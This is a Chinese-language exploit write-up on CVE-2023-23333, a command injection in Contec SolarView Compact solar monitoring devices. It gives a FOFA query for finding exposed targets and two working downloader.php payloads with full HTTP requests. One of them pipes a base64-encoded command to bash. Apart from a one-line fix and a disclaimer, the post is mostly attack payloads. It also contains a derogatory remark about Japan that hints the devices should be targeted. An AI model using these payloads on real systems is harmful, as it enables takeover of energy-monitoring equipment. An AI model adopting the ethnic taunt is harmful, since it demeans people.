(CVE-2023-23333) | SolarView Compact 存在任意命令执行漏洞
2023-6-19 08:0:12 Author: 才疏学浅的H6(查看原文) 阅读量:65 收藏

漏洞说明

Contec SolarView Compact是日本Contec公司的一个应用系统，提供光伏发电测量系统。SolarView Compact 6.00以下存在命令注入漏洞，攻击者可以通过downloader.php绕过内部限制执行命令。

攻击者可通过该漏洞在服务器端任意执行代码，获取服务器权限。

影响版本

SolarView Compact <= 6.00

漏洞复现

fofa:body="SolarView Compact" && title="Top"

全是小日....子过的不错的日本小国的设备。懂得都懂，该照顾的就照顾

payload:

/downloader.php?file=%3B{cmd}|rev%00.zip
GET /downloader.php?file=%3Bid|rev%00.zip HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36Connection: closeAccept-Encoding: gzip, deflate

可以看见输出是倒输出的，tools有位大佬发帖说明base64编码后命令输出就正常了。

https://www.t00ls.com/thread-69596-1-1.html

payload：

/downloader.php?file=;echo%20{base64-cmd}|base64%20-d|bash%00.zip
GET /downloader.php?file=;echo%20{bas64-cmd}|base64%20-d|bash%00.zip HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

修复建议

升级至安全版本

本文章仅用于学习交流，不得用于非法用途

星标加关注，追洞不迷路

文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486198&idx=1&sn=8592532c9697e0b87df33432e6e7e831&chksm=c1f92544f68eac52a97590a54472c4b5e124daa33c9efadacdb66e42a019b3f2782c5fabb23e#rd
如有侵权请联系:admin#unsafe.sh